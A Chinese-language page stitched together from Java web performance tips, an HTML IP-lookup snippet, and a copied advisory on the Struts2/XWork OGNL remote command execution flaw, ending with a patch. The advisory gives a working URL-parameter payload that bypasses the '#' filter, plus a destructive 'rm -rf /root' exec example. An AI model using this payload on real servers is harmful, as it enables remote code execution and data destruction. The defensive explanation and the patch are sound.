通常情況，當(dāng)達(dá)到設(shè)定的超時(shí)時(shí)間時(shí)，同時(shí)有些Session沒(méi)有了活動(dòng)，服務(wù)器會(huì)釋放這些沒(méi)有活動(dòng)的Session，.. 不過(guò)這種情況下，特別是多用戶(hù)并訪時(shí)，系統(tǒng)內(nèi)存要維護(hù)多個(gè)的無(wú)效Session。當(dāng)用戶(hù)退出時(shí)，應(yīng)該手動(dòng)釋放，回收資源，實(shí)現(xiàn)如下：..
HttpSession theSession = request.getSession();
// 獲取當(dāng)前Session
if(theSession != null){
theSession.invalidate(); // 使該Session失效
}
14 緩存Home接口
EJB庫(kù)使用Enterprise Bean 的客戶(hù)端通過(guò)它的Home接口創(chuàng)建它的實(shí)例。客戶(hù)端能通過(guò)JNDI訪問(wèn)它。服務(wù)器通過(guò)Lookup方法來(lái)獲取。
JNDI是個(gè)遠(yuǎn)程對(duì)象，通過(guò)RMI方式調(diào)用，對(duì)它的訪問(wèn)往往是比較費(fèi)時(shí)的。所以，在設(shè)計(jì)時(shí)可以設(shè)計(jì)一個(gè)類(lèi)專(zhuān)門(mén)用來(lái)緩存Home接口，在系統(tǒng)初始化時(shí)就獲得需要的Home接口并緩存，以后的引用只要引用緩存即可。
15 使用快速度的Jdbc驅(qū)動(dòng)
JDBC API包括兩種實(shí)現(xiàn)接口形式，一種是純Java實(shí)現(xiàn)的驅(qū)動(dòng)，一種利用ODBC驅(qū)動(dòng)和數(shù)據(jù)庫(kù)客戶(hù)端實(shí)現(xiàn)，具體有四種驅(qū)動(dòng)模式：
第一類(lèi)：JDBC-ODBC橋，再加上ODBC驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是JDBC-ODBC橋再加上一個(gè)ODBC驅(qū)動(dòng)程序。建議第一類(lèi)驅(qū)動(dòng)程序只用于原型開(kāi)發(fā)，而不要用于正式的運(yùn)行環(huán)境。橋接驅(qū)動(dòng)程序由Sun提供，它的目標(biāo)是支持傳統(tǒng)的數(shù)據(jù)庫(kù)系統(tǒng)。Sun為該軟件提供關(guān)鍵問(wèn)題的補(bǔ)丁，但不為該軟件的最終用戶(hù)提供支持。一般地，橋接驅(qū)動(dòng)程序用于已經(jīng)在ODBC技術(shù)上投資的情形，例如已經(jīng)投資了Windows應(yīng)用服務(wù)器。
盡管Sun提供了JDBC-ODBC橋接驅(qū)動(dòng)程序，但由于ODBC會(huì)在客戶(hù)端裝載二進(jìn)制代碼和數(shù)據(jù)庫(kù)客戶(hù)端代碼，這種技術(shù)不適用于高事務(wù)性的環(huán)境。另外，第一類(lèi)JDBC驅(qū)動(dòng)程序不支持完整的Java命令集，而是局限于ODBC驅(qū)動(dòng)程序的功能，這種驅(qū)動(dòng)方式也叫胖客戶(hù)，主要用于低并發(fā)請(qǐng)求，大數(shù)據(jù)量傳輸?shù)膽?yīng)用。
第二類(lèi)：本機(jī)API，部分是Java的驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是本機(jī)API的部分Java代碼的驅(qū)動(dòng)程序，用于把JDBC調(diào)用轉(zhuǎn)換成主流數(shù)據(jù)庫(kù)API的本機(jī)調(diào)用。這類(lèi)驅(qū)動(dòng)程序也存在與第一類(lèi)驅(qū)動(dòng)程序一樣的性能問(wèn)題，即客戶(hù)端載入二進(jìn)制代碼的問(wèn)題，而且它們被綁定了特定的平臺(tái)。
第二類(lèi)驅(qū)動(dòng)程序要求編寫(xiě)面向特定平臺(tái)的代碼，主流的數(shù)據(jù)庫(kù)廠商，例如Oracle和IBM，都為它們的企業(yè)數(shù)據(jù)庫(kù)平臺(tái)提供了第二類(lèi)驅(qū)動(dòng)程序，使用這些驅(qū)動(dòng)程序的開(kāi)發(fā)者必須及時(shí)跟進(jìn)不同數(shù)據(jù)庫(kù)廠商針對(duì)不同操作系統(tǒng)發(fā)行的各個(gè)驅(qū)動(dòng)程序版本。
另外，由于第二類(lèi)驅(qū)動(dòng)程序沒(méi)有使用純Java的API，把Java應(yīng)用連接到數(shù)據(jù)源時(shí)，往往必須執(zhí)行一些額外的配置工作。很多時(shí)候，第二類(lèi)驅(qū)動(dòng)程序不能在體系結(jié)構(gòu)上與大型主機(jī)的數(shù)據(jù)源兼容；即使做到了兼容，效果也是比較差。
第三類(lèi)：面向數(shù)據(jù)庫(kù)中間件的純Java驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是面向數(shù)據(jù)庫(kù)中間件的純Java驅(qū)動(dòng)程序，JDBC調(diào)用被轉(zhuǎn)換成一種中間件廠商的協(xié)議，中間件再把這些調(diào)用轉(zhuǎn)換到數(shù)據(jù)庫(kù)API。第三類(lèi)JDBC驅(qū)動(dòng)程序的優(yōu)點(diǎn)是它以服務(wù)器為基礎(chǔ)，也就是不再需要客戶(hù)端的本機(jī)代碼，這使第三類(lèi)驅(qū)動(dòng)程序要比第一、二兩類(lèi)快。另外，開(kāi)發(fā)者還可以利用單一的驅(qū)動(dòng)程序連接到多種數(shù)據(jù)庫(kù)。
第四類(lèi)：直接面向數(shù)據(jù)庫(kù)的純Java驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是直接面向數(shù)據(jù)庫(kù)的純Java驅(qū)動(dòng)程序，即所謂的“瘦”（thin）驅(qū)動(dòng)程序，它把JDBC調(diào)用轉(zhuǎn)換成某種直接可被DBMS使用的網(wǎng)絡(luò)協(xié)議，這樣，客戶(hù)機(jī)和應(yīng)用服務(wù)器可以直接調(diào)用DBMS服務(wù)器。對(duì)于第四類(lèi)驅(qū)動(dòng)程序，不同DBMS的驅(qū)動(dòng)程序不同。因此，在一個(gè)異構(gòu)計(jì)算環(huán)境中，驅(qū)動(dòng)程序的數(shù)量可能會(huì)比較多。但是，由于第四類(lèi)驅(qū)動(dòng)程序具有較高的性能，能夠直接訪問(wèn)DBMS，所以這一問(wèn)題就不那么突出了， 這種驅(qū)動(dòng)方式，主要用于高并發(fā)，低數(shù)據(jù)量請(qǐng)求的應(yīng)用中。
16 使用Jdbc鏈接池
為了提高訪問(wèn)數(shù)據(jù)庫(kù)的性能，我們還可以使用JDBC 2.0的一些規(guī)范和特性，JDBC是占用資源的，在使用數(shù)據(jù)庫(kù)連接時(shí)可以使用連接池Connection Pooling，避免頻繁打開(kāi)、關(guān)閉Connection。而我們知道，獲取Connection是比較消耗系統(tǒng)資源的。
Connection緩沖池：當(dāng)一個(gè)應(yīng)用程序關(guān)閉一個(gè)數(shù)據(jù)庫(kù)連接時(shí)，這個(gè)連接并不真正釋放而是被循環(huán)利用，建立連接是消耗較大的操作，循環(huán)利用連接可以顯著的提高性能，因?yàn)榭梢詼p少新連接的建立。
一個(gè)通過(guò)DataSource獲取緩沖池獲得連接，并連接到一個(gè)CustomerDB數(shù)據(jù)源的代碼演示如下：
Context ctx = new InitialContext();
DataSource dataSource = (DataSource) ctx.lookup("jdbc/CustomerDB");
Connection conn = dataSource.getConnection("password","username");
17 緩存DataSorce
一個(gè)DataSource對(duì)象代表一個(gè)實(shí)際的數(shù)據(jù)源。這個(gè)數(shù)據(jù)源可以是從關(guān)系數(shù)據(jù)庫(kù)到表格形式的文件，完全依賴(lài)于它是怎樣實(shí)現(xiàn)的，一個(gè)數(shù)據(jù)源對(duì)象注冊(cè)到JNDI名字服務(wù)后，應(yīng)用程序就可以從JNDI服務(wù)器上取得該對(duì)象，并使用之和數(shù)據(jù)源建立連接。
通過(guò)上面的例子，我們知道DataSource是從連接池獲得連接的一種方式，通過(guò)JNDI方式獲得，是占用資源的。
為了避免再次的JNDI調(diào)用，可以系統(tǒng)中緩存要使用的DataSource。
18 即時(shí)關(guān)閉使用過(guò)的資源
互聯(lián)網(wǎng)應(yīng)用系統(tǒng)一般是并發(fā)的系統(tǒng)，在每次申請(qǐng)和使用完資源后，應(yīng)該釋放供別人使用，使用完成后應(yīng)該保證徹底的釋放。
19 架構(gòu)選型
CoreMediaCMS將整個(gè)應(yīng)用分成四成架構(gòu)，每一層都可以獨(dú)立于其他層而正常運(yùn)行，每一層都可以分布式布署，極大的提高了應(yīng)用系統(tǒng)的穩(wěn)定性、可擴(kuò)展性、支持高并發(fā)的要求，每一次之前通過(guò)中間件Corba進(jìn)行穩(wěn)定的傳輸數(shù)據(jù)。
20 開(kāi)發(fā)框架的選型
充分利用開(kāi)源框架，可以大大提高開(kāi)發(fā)效率。很多初級(jí)開(kāi)發(fā)者，都采用DB+JavaBean+JSP這種初級(jí)的開(kāi)發(fā)模式，而現(xiàn)在主要使用Struts、Spring等MVC開(kāi)發(fā)框架。
常用開(kāi)發(fā)框架構(gòu)選型有：
Struts、Spring、Webwork等。
天極傳媒選擇的開(kāi)發(fā)框架是：Struts+Spring+iBatis，在這個(gè)開(kāi)發(fā)框架里，充分利用了Struts、Spring各自己的優(yōu)點(diǎn)，可以選擇Stuts MVC，也可以選擇Spring MVC。
21 分級(jí)存儲(chǔ)
１）數(shù)據(jù)庫(kù)數(shù)據(jù)分級(jí)存儲(chǔ)：
將經(jīng)常訪問(wèn)的數(shù)據(jù)和訪問(wèn)頻度低的數(shù)據(jù)，分別存放到不同的分區(qū)，甚至存放到不同的數(shù)據(jù)庫(kù)服務(wù)器，以便合進(jìn)分配硬盤(pán)I/O及系統(tǒng)I/O。
２）網(wǎng)站內(nèi)容發(fā)布之后，分級(jí)存儲(chǔ)：
任何一個(gè)大型的網(wǎng)站，一般都有海量的內(nèi)容，為了提高訪問(wèn)效率，應(yīng)搭建分級(jí)存儲(chǔ)體系，根據(jù)應(yīng)用的重要性和訪問(wèn)并發(fā)要求，將這些內(nèi)容分級(jí)存儲(chǔ)，同時(shí)將靜態(tài)內(nèi)容中的靜態(tài)頁(yè)面文件、圖片文件、下載文件分不同的Web服務(wù)器訪問(wèn)，降低I/O爭(zhēng)用，提高訪問(wèn)效率，同時(shí)讓數(shù)據(jù)存儲(chǔ)、管理、備份更加清晰。
22 頁(yè)面靜態(tài)化
一個(gè)大型網(wǎng)站，既有靜態(tài)內(nèi)容，也有動(dòng)態(tài)內(nèi)容。靜態(tài)內(nèi)容，直接通過(guò)Apache或者Squid訪問(wèn)，效率高，穩(wěn)定可靠，更多的是受服務(wù)器等硬件設(shè)備的I/O吞吐量、網(wǎng)絡(luò)環(huán)境及頁(yè)面代碼本身質(zhì)量限制，不受應(yīng)用系統(tǒng)及數(shù)據(jù)庫(kù)性能限制，這些內(nèi)容往往訪問(wèn)速度和效率不會(huì)有較大的問(wèn)題。
而動(dòng)態(tài)內(nèi)容，除了受硬件設(shè)備I/O、操作系統(tǒng)I/O及內(nèi)容、網(wǎng)絡(luò)環(huán)境及頁(yè)面代碼的影響，還要受應(yīng)用服務(wù)器和數(shù)據(jù)庫(kù)性能影響，因此，這部份內(nèi)容，要盡可能作靜態(tài)化或者偽靜態(tài)，并采用緩存技術(shù)，將其緩存，以減少對(duì)應(yīng)用服務(wù)器和數(shù)據(jù)庫(kù)服務(wù)器的操作次數(shù)，提高用戶(hù)訪問(wèn)效率和穩(wěn)定性。
23 緩存策略
對(duì)于構(gòu)建的業(yè)務(wù)系統(tǒng)，如果有些數(shù)據(jù)要經(jīng)常要從數(shù)據(jù)庫(kù)中讀取，同時(shí)，這些數(shù)據(jù)又不經(jīng)常變化，這些數(shù)據(jù)就可以在系統(tǒng)中緩存起來(lái)，使用時(shí)直接讀取緩存，而不用頻繁的訪問(wèn)數(shù)據(jù)庫(kù)讀取數(shù)據(jù)。
緩存工作可以在系統(tǒng)初始化時(shí)一次性讀取數(shù)據(jù)，特別是一些只讀的數(shù)據(jù)，當(dāng)數(shù)據(jù)更新時(shí)更新數(shù)據(jù)庫(kù)內(nèi)容，同時(shí)更新緩存的數(shù)據(jù)值。
例如：在CMS2005系統(tǒng)中，我們將很少發(fā)生變化的網(wǎng)站節(jié)點(diǎn)樹(shù)數(shù)據(jù)，緩存在客戶(hù)端，當(dāng)用戶(hù)登錄時(shí)，一次性讀入到客戶(hù)端緩存起來(lái)，以后編輯在使用時(shí)，不用再?gòu)臄?shù)據(jù)庫(kù)中讀取，大大提高了應(yīng)用系統(tǒng)的訪問(wèn)速度。
當(dāng)然，也可以將數(shù)據(jù)庫(kù)中重復(fù)訪問(wèn)的數(shù)據(jù)緩存在應(yīng)用服務(wù)器內(nèi)存中，減少對(duì)數(shù)據(jù)庫(kù)的訪問(wèn)次數(shù)，Java常用的緩存技術(shù)產(chǎn)品有：MemoryCache、OSCache等。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<script type=text/javascript src=http://fw.qq.com/ipaddress></script>
<script type=text/javascript>
document.write("當(dāng)前ip:"+IPData[0]+",省份："+IPData[2]+",城市:"+IPData[3]);
</script>
</head>
<body>
</body>
</html>
最近發(fā)現(xiàn) struts 2的這個(gè)嚴(yán)重安全漏洞，在http://www.javaeye.com/topic/720209中已經(jīng)有所表述，主要是ＯＧＮＬ的問(wèn)題，摘錄如下：
exploit-db網(wǎng)站在7月14日爆出了一個(gè)Struts2的遠(yuǎn)程執(zhí)行任意代碼的漏洞。
漏洞名稱(chēng)：Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
相關(guān)介紹：
http://www.exploit-db.com/exploits/14360/
http://sebug.net/exploit/19954/
Struts2的核心是使用的webwork框架，處理 action時(shí)通過(guò)調(diào)用底層的getter/setter方法來(lái)處理http的參數(shù)，它將每個(gè)http參數(shù)聲明為一個(gè)ONGL（這里是ONGL的介紹）語(yǔ)句。當(dāng)我們提交一個(gè)http參數(shù)：
Java代碼
?user.address.city=Bishkek&user['favoriteDrink']=kumys
?user.address.city=Bishkek&user['favoriteDrink']=kumys
ONGL將它轉(zhuǎn)換為：
Java代碼
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
這是通過(guò)ParametersInterceptor（參數(shù)過(guò)濾器）來(lái)執(zhí)行的，使用用戶(hù)提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。
為了防范篡改服務(wù)器端對(duì)象，XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符，但如果使用了Java的 unicode字符串表示\u0023，攻擊者就可以繞過(guò)保護(hù)，修改保護(hù)Java方式執(zhí)行的值：
此處代碼有破壞性，請(qǐng)?jiān)跍y(cè)試環(huán)境執(zhí)行，嚴(yán)禁用此種方法進(jìn)行惡意攻擊
Java代碼
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
轉(zhuǎn)義后是這樣：
Java代碼
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
OGNL處理時(shí)最終的結(jié)果就是Java代碼
java.lang.Runtime.getRuntime().exit(1);
java.lang.Runtime.getRuntime().exit(1);
類(lèi)似的可以執(zhí)行Java代碼
java.lang.Runtime.getRuntime().exec("rm –rf /root")
java.lang.Runtime.getRuntime().exec("rm –rf /root")，只要有權(quán)限就可以刪除任何一個(gè)目錄。
目前的解決方法如下，官方的出了補(bǔ)丁的，可以在
http://svn.apache.org/viewvc?view=revision&revision=956389
目前２．１．８的最新版本的，可以下載其中這個(gè)補(bǔ)丁修補(bǔ)，
而如果你的版本是低于２．１．８的，可以去下載xwork-2.XX.JAR對(duì)應(yīng)的源代碼（本來(lái)想反編譯ＪＡＲ的，發(fā)現(xiàn)還是找源代碼好），
然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
在其中的acceptableName方法中調(diào)整如下：
protected boolean acceptableName(String name) {
boolean foundMatch=false;
foundMatch = name.contains("\\u0023");
if(foundMatch){
return false;
}
if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
|| name.indexOf(':') != -1 || isExcluded(name)) {
return false;
} else {
return true;
}
}